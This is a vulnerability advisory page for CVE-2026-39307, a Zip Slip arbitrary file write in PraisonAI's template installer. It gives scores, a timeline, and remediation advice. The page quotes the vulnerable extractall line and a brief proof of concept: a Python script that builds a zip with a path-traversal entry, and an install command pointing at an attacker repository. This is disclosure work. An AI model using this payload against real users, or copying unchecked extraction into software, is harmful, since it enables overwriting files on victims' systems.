What is the CVSS score of CVE-2026-39307?

CVE-2026-39307 has a CVSS 3.1 base score of 8.1 (High). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H. EPSS exploitation probability: 0.0%.

Which versions of Python are affected by CVE-2026-39307?

PraisonAI versions prior to 4.5.113 contain an arbitrary file write vulnerability that allows attackers to overwrite critical system files through malicious template installations, exploitable via…. A patch is available.

How to fix or mitigate CVE-2026-39307?

Within 24 hours: Identify all systems running PraisonAI and document current versions. Within 7 days: Upgrade all PraisonAI installations to version 4.5.113 or later per vendor advisory GHSA-4ph2-f6pf-79wv. Within 30 days: Conduct user awareness training on template installation risks and implement controls restricting template sources to approved repositories only.

Python CVE-2026-39307

HIGH

Relative Path Traversal (CWE-23)

2026-04-06 https://github.com/MervinPraison/PraisonAI

GHSA-4ph2-f6pf-79wv

Python RCE

8.1

CVSS 3.1 · GitHub Advisory

Severity by source

GitHub Advisory PRIMARY

8.1 HIGH

AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

Required

Scope

Unchanged

Confidentiality

None

Integrity

High

Availability

High

Lifecycle Timeline

Analysis Updated

Apr 16, 2026 - 01:47 vuln.today

v2 (cvss_changed)

Re-analysis Queued

Apr 16, 2026 - 01:38 vuln.today

cvss_changed

Patch released

Apr 07, 2026 - 02:30 nvd

Patch available

Analysis Generated

Apr 06, 2026 - 23:31 vuln.today

CVE Published

Apr 06, 2026 - 23:08 nvd

HIGH 8.1

DescriptionGitHub Advisory

The PraisonAI templates installation feature is vulnerable to a "Zip Slip" Arbitrary File Write attack. When downloading and extracting template archives from external sources (e.g., GitHub), the application uses Python's zipfile.extractall() without verifying if the files within the archive resolve outside of the intended extraction directory.

Details

Location: src/praisonai/praisonai/cli/features/templates.py (Line 852)

Vulnerable Code snippet:

python

zip_ref.extractall(tmpdir)

During installation, the CLI downloads a ZIP archive and extracts it directly into a temporary directory using zip_ref.extractall(tmpdir). A specially crafted ZIP archive can contain file entries with relative paths (such as ../../../../tmp/evil.sh). If extracting this archive in older Python versions or environments where extraction rules aren't strict, extractall will write these files outside the target directory, allowing an attacker to overwrite arbitrary files on the victim's filesystem.

PoC

Generate a malicious zip payload:

python

import zipfile

with zipfile.ZipFile('malicious_template.zip', 'w') as z:
# Adding a file that traverses directories
    z.writestr('../../../../../../../tmp/zip_slip_pwned.txt', 'pwned by zip slip')

Trick a user into installing the malicious template:

bash

praisonai templates install github:attacker/malicious_template

Observe the zip_slip_pwned.txt file created in /tmp/ on the victim's machine.

Impact

This is an Arbitrary File Write vulnerability affecting any user who installs community templates. It can be leveraged to overwrite system files, user dotfiles, or application code, ultimately leading to system corruption or full Remote Code Execution (RCE).

AnalysisAI

Arbitrary file write in PraisonAI's template installation feature allows remote attackers to overwrite system files when users install malicious templates via social engineering. The vulnerability stems from unsafe ZIP extraction in templates.py using Python's zipfile.extractall() without path validation, enabling classic Zip Slip attacks. Public exploit code exists with proof-of-concept demonstrating /tmp file creation via path traversal. EPSS probability is low (0.04%, 13th percentile) indicating limited observed exploitation attempts, though the attack requires only user interaction (CVSS UI:R) to achieve high integrity and availability impact. Vendor patch released in version 4.5.113 per GitHub advisory GHSA-4ph2-f6pf-79wv.

Technical ContextAI

This vulnerability exploits CWE-23 (Relative Path Traversal) through Python's zipfile.extractall() method in the PraisonAI CLI templates installation feature. The affected code (templates.py line 852) downloads template archives from external sources like GitHub and extracts them using extractall(tmpdir) without sanitizing or validating archive member paths. The zipfile library, particularly in older Python versions or permissive extraction modes, does not inherently prevent path traversal sequences like '../../../' in ZIP entry names. When extractall() processes such entries, it writes files relative to the extraction directory, allowing malicious archives to escape the intended tmpdir boundary. The pkg:pip/praisonai package implements a community template sharing system where users can install templates from arbitrary GitHub repositories using commands like 'praisonai templates install github:user/repo'. This design creates a supply chain attack surface where attackers can host malicious templates containing crafted ZIP archives with traversal paths, relying on victim trust in community resources.

RemediationAI

Upgrade to PraisonAI version 4.5.113 or later, released by the vendor to address this Zip Slip vulnerability (release notes: https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.113). Installation via pip: 'pip install --upgrade praisonai>=4.5.113'. If immediate upgrade is not feasible, implement these compensating controls: (1) Disable or restrict template installation functionality by removing execute permissions on the templates CLI module or blocking network access to template repositories at the firewall level - trade-off is loss of template sharing features but eliminates attack vector entirely. (2) Run PraisonAI in containerized environments (Docker, Podman) with read-only root filesystem and write access limited to specific mount points - limits impact of file overwrites to container scope but adds operational complexity for persistent storage. (3) Implement organizational policy prohibiting installation of templates from untrusted sources, allowing only vetted internal template repositories - reduces risk but relies on user compliance and doesn't prevent insider threats. (4) Use filesystem monitoring (auditd, OSSEC) to alert on unexpected file modifications outside PraisonAI's designated directories - provides detection but not prevention, requiring incident response capability. Each workaround has operational overhead; vendor patch remains the definitive solution. Advisory details and patch verification at https://github.com/advisories/GHSA-4ph2-f6pf-79wv.